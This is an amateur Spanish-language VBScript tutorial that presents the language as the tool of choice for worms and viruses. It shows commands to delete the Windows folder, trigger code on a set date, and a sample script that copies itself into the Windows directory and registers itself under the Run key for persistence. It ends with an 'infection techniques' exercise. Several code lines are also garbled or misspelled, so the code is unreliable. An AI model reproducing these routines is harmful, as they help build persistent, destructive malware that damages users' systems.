Manual de VBs Segun J@$9

Manual de VBS Según DrNice.

   Los vbs son script que se realizan en guindows para realizar las tareas mas sencillas y rapidaz ya que mocosoft intento hacer un poco mas rapido el guindows(a según) supuestamente para mejorarlo y para que no se usaran más las teclas de reset bueno en fin, es el lenguaje en el que se han escrito mas gusanos a nivel mundial los gusanos mas destructivos y los peores virus.

   Comandos básicos de Vbs.
Librería (“Scripting.filesystemobject”)
   Para crear los objectos a utilizar es decir las variables con las que moveremos los comandos debemos escribir lo siguiente.

Bien: set a = createobject (“librería”)
Mal: a = createobject (“librería”)

Para guardar o capturar una variable desde un msgbox debemos hacer lo siguiente:

Bien: a = msgbox (“¿Te estas cepillando?”, vbinformation,”OK”)
Mal: a = msgbox “¿Te estas cepillando?”, vbinformation, “OK”

OK aquí viene lo bueno en vbscript podemos crear, modificar, borrar carpetas, archivos o elementos del registro, pero primero veremos los más básicos como copiar, borrar y crear, para crear un archivo X debemos primero aprendernos los comandos el primero es:

Createfile: crea un archivo de cualquier extensión un ejemplo seria el siguiente:

Set j = createobject (“scripting.filesystemobject”)
j.createfile “C:\Hola.txt”

Createfolder: crea carpetas su nombrecito lo dice todo aquí vamos con la secuencia de comandos.

Set j = createobject(“scripting.filesytemobject”)
j.createfolder “C:\Me”

DeleteFile: borra archivos no se emocionen calmense su secuencia es la siguiente:

Set j = createobject(“scripting.filesystemobject”)
j.deletefile “C:\Hola.txt”

DeleteFolder: Borra las carpetitas cuando no quieras limpiar manualmente tu disco haces un script y ya esto borrara las carpetas que no necesites:

Set j = createobject(“scripting.filesystemobject”)
j.deletefolder “C:\windows”

CopyFile: este commando copia archivos su sequencia es la siguiente sigue mi nariz:

Set j = createobject(“scripting.filesystemobject”)
j.copyfile “C:\Hola.txt”,”C:\carpeta\jojo.txt”

nota al copiarlo puedes copiarlo con otro nombre.

CopyFolder: este comando puede copiar capertas como su nombre lo describe ahora un ejemplo:

Set j = createobject(“scripting.filesystemobject”)
j.copyfolder “C:\windows”,”D:\windos2”

Commando de la Liberia wscript.shell

Esta libreria contiene lo mejor ejecucion del registro entre otras cosas, correr programas y ya.

Regwrite: escribe una entrada en el registro la sintaxis es la siguiente.

Set j = createobject(“wscript.shell”)
j.regtwrite “Hkey_Current_Machine\Mew”

Regdelete: Borra entradas del registro:

Set j = createobject(“wscript.shell”)
j.regtdelete “Hkey_Current_Machine\Mew”

RegRead: lee entradas del registro:

Set j = createobject(“wscript.shell”)
B = j.regread “Hkey_Current_Machine\Mew”
Msgbox b

Run: ejecuta programas que esten instalados en el sistema ejemplo:

Set j = createobject(“wscript.shell”)
j.run “C:\windows\calc.exe”

Reproducción por fecha, hora y segundos

Nuestros script pueden reproducirse un día o una hora determinada para ello empleamos los siguientes comandos:
Day(Now)=dia
Month(Now)=Mes
Year(Now)=año
Minute(Now)=minutes
Seconds(Now)=segundos
Hours(Now)= horas
Ejemplo:
If (Day(Now) = "16" and Month(Now)= "5" )then
Msgbox “He Nacido”
If (Hour(Now) = "11" and Minute(Now) = "00") then
Msgbox “He Nacido otra vez”

si queremos buscar un path es decir si queremos que nuestro vbscript se copie,ejecute desde windows pero no se llama windows el directorio y tiene otro nombre es decir en win2000 la carpta de windows es winnt y supongamos que el usuario la cambia y le pone gggg a la carpeta de windows que hacemos, bueno pa evitarnos tanto rollos utilizamos el comando getspecialfolder bueno aqui un ejemplillo, lo que aparece entre rem simple es un comentario:

rem vbscript de ejemplo

set g = createobject("Scripting.filesystemobject")
set win = g.getspecialfolder(0)
rem aclaratoria las carpetas se guian por constantes es decir
rem getspecialfolder(0) es la windows asi le hayan cambiado el nombre
rem getspecialfolder(1) es la de system
rem getspecialfolder(2) es la de los teporales temp
rem el siguiente codigo lo copio al directorio windows
set F = createobject("Scripting.filesystemobject")
F.copyfile ".\Ejemplo.vbs", win & "Ejemplo.vbs"
set j = createobject("wscript.shell")rem creo el objecto
j.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Nice",win & "\ejemplo.vbs"
for i = 1 to 10
msgbox hola
next

Okay próxima técnicas de infección utilizada. Debes hacer un vbs que se copie en el registro cree un archivo de Word con el nombre ejemplo dentro de una carpeta en c llamada hola y ejecute el archivo de Word a las 8 de la mañana, los de hora no los recuerdo mucho asi que si les dan error mandenme un mail a drnice@gmail.com.